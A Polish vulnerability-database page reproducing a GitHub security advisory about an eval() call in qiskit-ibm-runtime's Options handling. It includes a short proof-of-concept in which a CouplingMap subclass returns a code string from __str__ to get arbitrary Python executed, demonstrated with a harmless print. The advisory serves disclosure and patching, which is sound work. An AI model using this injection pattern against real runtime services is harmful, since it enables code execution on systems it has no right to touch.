Niska

Dynamic Variable Evaluation in qiskit-ibm-runtime

  • Ujawniono: 20.03.2024
  • Aktualizacja: 11.10.2026 12:18

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

python
from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

python
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) qiskit-ibm-runtime >= 0.11.0, < 0.11.1 0.11.1

Odnośniki

Ocena CVSS 2.8/10
Wektor CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
Słabość (CWE)
CWE-627
Platforma
Python (PyPI)
Paczka
qiskit-ibm-runtime
Ujawniono
20.03.2024
Aktualizacja
11.10.2026 12:18

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-cq96-9974-v8hm - CC BY 4.0

Historia podatności: qiskit-ibm-runtime

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
2
Pierwsza → ostatnia
03.2024 03.2024
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Średnia 1
  • Niska 1

Ujawnienia w latach

  1. 2024: 2
  2. 2025: 0
  3. 2026: 0
  1. Średnia · 5.3 CVE-2024-29032 >= 0.1.0, < 0.21.2 0.21.2
  2. Dynamic Variable Evaluation in qiskit-ibm-runtime ten wpis
    Niska · 2.8 ghsa-cq96-9974-v8hm >= 0.11.0, < 0.11.1 0.11.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.